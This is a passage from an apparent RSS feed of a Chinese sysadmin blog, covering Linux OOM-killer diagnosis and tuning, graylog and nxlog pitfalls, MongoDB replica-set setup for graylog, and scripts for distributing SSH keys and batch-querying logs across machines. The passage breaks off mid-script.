&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Out of memory: Kill process 9682 (mysqld) score 9 or sacrifice child
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Killed process 9682, UID 27, (mysqld) total-vm:47388kB, anon-rss:3744kB, file-rss:80kB
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;httpd invoked oom-killer: gfp_mask=0x201da, order=0, oom_adj=0, oom_score_adj=0
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;httpd cpuset=/ mems_allowed=0
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Pid: 8911, comm: httpd Not tainted 2.6.32-279.1.1.el6.i686 #1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这样的标识,说明发生了 oom,关键就是 kill process, 所以可以这样&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo cat /var/log/messages | grep -i&amp;quot;killed process&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;另一种是通过dmesg来查看
&lt;code&gt;dmesg | egrep -i &#39;killed process&#39;&lt;/code&gt;
这个命令查看的 oom 的时间里是时间戳的形式,如果你的 dmesg 没有-T这个时间的选项,那么就需要通过&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;date -d &amp;#34;1970-01-01 UTC `echo &amp;#34;$(date +%s)-$(cat /proc/uptime|cut -f 1 -d&amp;#39; &amp;#39;)+12288812.926194&amp;#34;|bc ` seconds&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;来转换成可读的时间了.&lt;/p&gt;
&lt;h2 id=&#34;oom-的原理&#34;&gt;oom 的原理&lt;/h2&gt;
&lt;p&gt;其中涉及到有三个相关文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/proc/$PID/oom_adj&lt;/li&gt;
&lt;li&gt;/proc/$PID/oom_score&lt;/li&gt;
&lt;li&gt;/proc/$PID/oom_score_adj
其中 oom_score 表示最终的分数，该分数越大，越可能被 Killer 杀掉。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而 oom_adj 是调整分数的，可以设置为负值，会对 oom_score减分。&lt;/p&gt;
&lt;p&gt;从Linux 2.6.36开始都安装了/proc/$PID/oom_score_adj，此后将替换掉/proc/$PID/oom_adj。即使当前是对/proc/$PID/oom_adj进行的设置，在内核内部进行变换后的值也是针对/proc/$PID/oom_score_adj设置的。可以参见&lt;a href=&#34;https://github.com/tinganho/linux-kernel/blob/master/Documentation/feature-removal-schedule.txt&#34;&gt;feature-removal-schedule&lt;/a&gt;这里 171行.&lt;/p&gt;
&lt;p&gt;通过 cat /proc/$PID/oom_score 可以查看进程的得分&lt;/p&gt;
&lt;p&gt;打分算法在这里
&lt;a href=&#34;https://github.com/torvalds/linux/blob/master/mm/oom_kill.c&#34;&gt;https://github.com/torvalds/linux/blob/master/mm/oom_kill.c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;从上面的 oom_kill.c 代码里可以看到 oom_badness() 给每个进程打分，根据 points 的高低来决定杀哪个进程，这个 points 可以根据 adj 调节，root 权限的进程通常被认为很重要，不应该被轻易杀掉，所以打分的时候可以得到 3% 的优惠（adj -= 30; 分数越低越不容易被杀掉）。我们可以在用户空间通过操作每个进程的 oom_adj 内核参数来决定哪些进程不这么容易被 OOM killer 选中杀掉。比如，如果不想 MySQL 进程被轻易杀掉的话可以找到 MySQL 运行的进程号后，调整 oom_score_adj 为 -15（注意 points 越小越不容易被杀）：范围是从-1000 到 1000,参考&lt;a href=&#34;https://github.com/torvalds/linux/commit/a63d83f427fbce97a6cea0db2e64b0eb8435cd10#include/linux/oom.h&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>graylog日记管理平台使用的那些坑</title>
      <link>http://blog.leaver.me/2016/12/10/graylog%E6%97%A5%E8%AE%B0%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%E4%BD%BF%E7%94%A8%E7%9A%84%E9%82%A3%E4%BA%9B%E5%9D%91/</link>
      <pubDate>Sat, 10 Dec 2016 18:48:17 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/12/10/graylog%E6%97%A5%E8%AE%B0%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%E4%BD%BF%E7%94%A8%E7%9A%84%E9%82%A3%E4%BA%9B%E5%9D%91/</guid>
      <description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;
&lt;p&gt;最近使用 graylog在部署日志平台的时候,踩到很多&amp;quot;坑&amp;quot;,记录一下&lt;/p&gt;
&lt;h2 id=&#34;日志采集nxlog&#34;&gt;日志采集(nxlog)&lt;/h2&gt;
&lt;h3 id=&#34;1客户端不要做太多的正则计算&#34;&gt;1.客户端不要做太多的正则计算&lt;/h3&gt;
&lt;p&gt;graylog 最早推荐的 nxlog 采集客户端,现在貌似有了 beats 的采集方式,不过我没了解,nxlog 采集的话,需要配置Snippets,就是定义输入,输出,处理器的地方,这个地方, Input 模块是在客户端计算的.所以,一定不要进行太多的正则计算.否则会严重影响客户端的 cpu 资源.降低应用程序的性能.&lt;/p&gt;
&lt;h3 id=&#34;2开多行一定要慎重&#34;&gt;2.开多行一定要慎重&lt;/h3&gt;
&lt;p&gt;graylog 可以通过配置&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;Extension multiline&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Module    xm_multiline
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    HeaderLine    /^\d{0,2}\/\d{0,2}\/\d{0,4}/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    EndLine    /^\d{0,2}\/\d{0,2}\/\d{0,4}/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/Extension&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;Input pcc-esolutions-log&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Module            im_file
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    File            &amp;#34;*.log&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    SavePos            TRUE
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    InputType    multiline
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/Input&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;来实现对于类似错误栈这样的信息,将多行采集成一行,但是一定要注意.如果这个正则写错了,或者其他原因,导致,未能正确匹配.会导致 nxlog 客户端占用内存暴涨.原因是为了实现多行采集,会再客户端内存中保存日志内容,直到匹配到行尾.如果未能正确匹配.会一直保存.导致内存泄露.&lt;/p&gt;
&lt;p&gt;这时候一般伴随着nxlog 的客户端日志中开始打印:
&lt;code&gt;2016-12-05 18:36:47 ERROR oversized string, limit is 1048576 bytes&lt;/code&gt;
这样的信息.表示单条日志超过了1m&lt;/p&gt;
&lt;p&gt;最终有一定几率影响客户端应用,被 oom 所杀.不要问我怎么知道的&amp;hellip;&lt;/p&gt;
&lt;h3 id=&#34;3-日志就是太大怎么办&#34;&gt;3 日志就是太大怎么办.&lt;/h3&gt;
&lt;p&gt;貌似没办法..只能在 Input 配置中.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Exec if $raw_event $raw_event = substr($raw_event, 0, 1040000);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;执行类似的来限制,没有尝试过,参考这里:&lt;a href=&#34;https://github.com/cityindex/LogSearchShipper/blob/master/src/LogsearchShipper.Core/NxLog/NxLogProcessManager.cs&#34;&gt;日志大小超长配置&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;服务端处理graylog&#34;&gt;服务端处理(graylog)&lt;/h2&gt;
&lt;h3 id=&#34;1服务端性能不好的情况下也不要做大量正则&#34;&gt;1.服务端性能不好的情况下也不要做大量正则&lt;/h3&gt;
&lt;p&gt;日志处理这部分主要是说 graylog 自身的处理,graylog 是 cpu 密集型的,在收到了 nxlog 经过少量计算的日志后, graylog 其实还提供了 extrator 的功能来解析字段,当时我因为部署了很多应用的日志采集,为了生成一个统一的索引字段,我在extrator写了一个正则,对于所有的消息,根据这个正则找到一个字段,来作为 key(保存成 no), 可能一个流水号,这样我就可以根据 no:xxx 来查询所有相关的日志了.&lt;/p&gt;
&lt;p&gt;结果这个正则写了以后, graylog 处理性能急剧下降.开始大量积压消息.无法发送给后端的 es 来做处理.在 graylog 的管理页面,能明显看到 in 是几千, out 是几百..很快 node 节点就废了.&lt;/p&gt;
&lt;p&gt;参考:&lt;a href=&#34;https://github.com/Graylog2/graylog2-server/issues/1334&#34;&gt;Very slow process message&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果是确定不是 graylog 的问题, output 还是慢,可以尝试&lt;a href=&#34;https://github.com/Graylog2/graylog2-server/issues/2313&#34;&gt;修改输出的并发量来解决&lt;/a&gt;,改改 graylog 配置中的output_batch_size值.&lt;/p&gt;
&lt;h3 id=&#34;2journal如果太多可能导致graylog-状态-dead&#34;&gt;2.journal如果太多,可能导致graylog 状态 dead&lt;/h3&gt;
&lt;p&gt;由于我前面的问题,导致 journal 中保存了太多的日志,这样会导致两个问题,1,启动的时候会尝试吧这些日志全部加载 graylog 服务端的内存中.这时候,如果应用内存不够,直接会启动不了报java 的 oom,&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; 2016-12-04T12:25:36.543+02:00 ERROR [ServiceManager] Service JournalReader [FAILED] has failed in the RUNNING state.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;java.lang.OutOfMemoryError: Java heap space
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	at java.nio.HeapByteBuffer.&amp;lt;init&amp;gt;(HeapByteBuffer.java:57)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	at java.nio.ByteBuffer.allocate(ByteBuffer.java:331)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	at kafka.log.FileMessageSet$$anon$1.makeNext(FileMessageSet.scala:188)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者会报一个数组越界的错误.能解决的办法就是删..
还有就是临时加大 graylog的 jvm 内存设置.&lt;/p&gt;</description>
    </item>
    <item>
      <title>graylog中的mongodb配置</title>
      <link>http://blog.leaver.me/2016/11/06/graylog%E4%B8%AD%E7%9A%84mongodb%E9%85%8D%E7%BD%AE/</link>
      <pubDate>Sun, 06 Nov 2016 14:40:03 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/11/06/graylog%E4%B8%AD%E7%9A%84mongodb%E9%85%8D%E7%BD%AE/</guid>
      <description>&lt;p&gt;接手的一个工具平台,发现 graylog 集群使用了单个的 mongodb 作为数据库,于是需要配置一下集群,来防止数据丢失,毕竟很多配置都在里面.&lt;/p&gt;
&lt;p&gt;为了以防万一,先备份一下 graylog 的配置.
&lt;code&gt;mongodump -h dbhost -d dbname -o dbdirectory&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;防止分布式部署的使用搞坏了.之后的恢复可以使用&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mongorestore -h dbhost -d dbname --directoryperdb dbdirectory&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;来恢复.相关说明可以参考&lt;a href=&#34;http://www.runoob.com/mongodb/mongodb-mongodump-mongorestore.html&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;之后就可以正式开始了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;修改集群名字&lt;/p&gt;
&lt;p&gt;在/etc/mongod.conf 中,修改这个值.设置集群使用的集群名称是 graylog,几个机器都配置一下.都先不要启动&lt;/p&gt;
&lt;p&gt;replication:
replSetName: graylog&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后添加集群配置&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;启动其中一台,然后通过mongo 命令连接上数据库,依次执行下面的命令.注意,这里有个坑.添加本机的时候,一定要写对外的域名或者 ip.否则会导致无法选主.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.initiate()
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.add(&amp;#34;&amp;lt;hostname&amp;gt;:27017&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.add(&amp;#34;&amp;lt;hostname&amp;gt;:27017&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.add(&amp;#34;&amp;lt;hostname&amp;gt;:27017&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.conf()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;
&lt;p&gt;开始启动&lt;/p&gt;
&lt;p&gt;这里启动就不用说了. &lt;code&gt;service mongod start&lt;/code&gt; 启动就好了.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置 graylog 集群连接地址&lt;/p&gt;
&lt;p&gt;在/etc/graylog/server/server.conf 中配置.mongodb_uri = mongodb://host1,host2,host3/graylog&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;后面这个 graylog 就是给 graylog 使用的库名,你可以先创建.&lt;/p&gt;
&lt;p&gt;之后mongodb 就开始自行同步了.&lt;/p&gt;
&lt;p&gt;[参考]&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.jianshu.com/p/2825a66d6aed&#34;&gt;高可用的MongoDB集群&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;​&lt;/p&gt;</description>
    </item>
    <item>
      <title>graylog中的字段解析</title>
      <link>http://blog.leaver.me/2016/10/30/graylog%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AE%B5%E8%A7%A3%E6%9E%90/</link>
      <pubDate>Sun, 30 Oct 2016 14:47:01 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/10/30/graylog%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AE%B5%E8%A7%A3%E6%9E%90/</guid>
      <description>&lt;h2 id=&#34;关于字段解析&#34;&gt;关于字段解析&lt;/h2&gt;
&lt;p&gt;一旦 graylog 用在了一个分布式系统上,那么采集的日志格式多种多样,涉及到通过 rules.drl来解析具体的字段.之前的同学的方案是用&lt;a href=&#34;http://www.jboss.org/drools&#34;&gt;drools&lt;/a&gt; 来完成的.通过一个统一的界面,来给用户生成一些正则规则这种.然后自己写了个转换器转成 Drools 的文件.更新到 graylog 的服务器上.然后重启gralog 应用完成.&lt;/p&gt;
&lt;p&gt;实际上, graylog 2之后的版本提供了rules和 pipeline ,这种不需要重启应用,完成这个解析的动作.但是.注意.这个不完善.所以只支持一些简单的语法,无法实现原有的完全转换.所以放弃.&lt;/p&gt;
&lt;p&gt;在此过程中.这个rules 有一个比较强大的功能,自动解析 key value 对.需要添加,但是,需要你的日志文件格式里的 key value有空格,
也就是要求必须是 key=value 这样,不能紧挨着逗号这样的..比如你的打印日志是 key=value,key2=value2.那么久无法解析了..这个暂时没看到比较好的办法.估计要改代码.如果你恰好符合.那最好了.&lt;/p&gt;</description>
    </item>
    <item>
      <title>mac日志批量查询配置</title>
      <link>http://blog.leaver.me/2016/10/05/mac%E6%97%A5%E5%BF%97%E6%89%B9%E9%87%8F%E6%9F%A5%E8%AF%A2%E9%85%8D%E7%BD%AE/</link>
      <pubDate>Wed, 05 Oct 2016 10:13:05 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/10/05/mac%E6%97%A5%E5%BF%97%E6%89%B9%E9%87%8F%E6%9F%A5%E8%AF%A2%E9%85%8D%E7%BD%AE/</guid>
      <description>&lt;p&gt;由于公司线下机器非常多,导致每次查日志变得非常痛苦.线下的trace平台大部分时候还是可用的.但是有时候需要本机来批量查询.方案就是批量分发ssh key,实现免登.然后luit实现编码转换,这个主要是公司的机器编码有差异.历史原因.&lt;/p&gt;
&lt;h2 id=&#34;0-准备&#34;&gt;0. 准备&lt;/h2&gt;
&lt;p&gt;先要安装pssh,expect,ssh-copy-id.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; brew install pssh
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; brew install homebrew/dupes/expect
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; brew install ssh-copy-id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;另外安装luit的安装参考这里&lt;a href=&#34;http://www.jianshu.com/p/69382cb499db&#34;&gt;luit安装&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;1-生成ssh-key-并批量copy&#34;&gt;1. 生成ssh key ,并批量copy&lt;/h2&gt;
&lt;p&gt;生成ssh key比较简单.&lt;code&gt;ssh-keygen -t rsa -C &amp;quot;your_email@example.com&amp;quot;&lt;/code&gt;,直接使用git的ssh key也是可以的.然后保存下面这个脚本为pscopy.sh,&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;FILE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;cat ~/host.txt&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; ip in &lt;span class=&#34;nv&#34;&gt;$FILE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;expect -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;spawn ssh-copy-id &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ip&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;   expect {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;       \&amp;#34;*yes/no*\&amp;#34; {send \&amp;#34;yes\r\&amp;#34;;exp_continue}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;       \&amp;#34;*password*\&amp;#34; {send \&amp;#34;pass\r\&amp;#34;;exp_continue}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;       \&amp;#34;*password*\&amp;#34; {send \&amp;#34;pass\r\&amp;#34;;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后执行一下sh pscopy.sh,注意,host.txt要保证存在.格式是user@address.一行一个,中间的paas要改成user的密码,这样就会使用指定的用户密码,自动copy ssh key了.
完成上面的步骤之后,ssh user@address 就可以免登了.&lt;/p&gt;
&lt;h2 id=&#34;2-写一个简单的pssh脚本&#34;&gt;2. 写一个简单的pssh脚本&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;command&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;file&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;usage&lt;span class=&#34;o&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Usage: `basename &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$0&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;` [-f filename]  [-c encoding] [-k keyword]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;exit&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;getopts&lt;/span&gt; :f:c:k: opt
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$opt&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        c&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nv&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$OPTARG&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        :&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;-&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$OPTARG&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; needs an argument&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        k&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;  
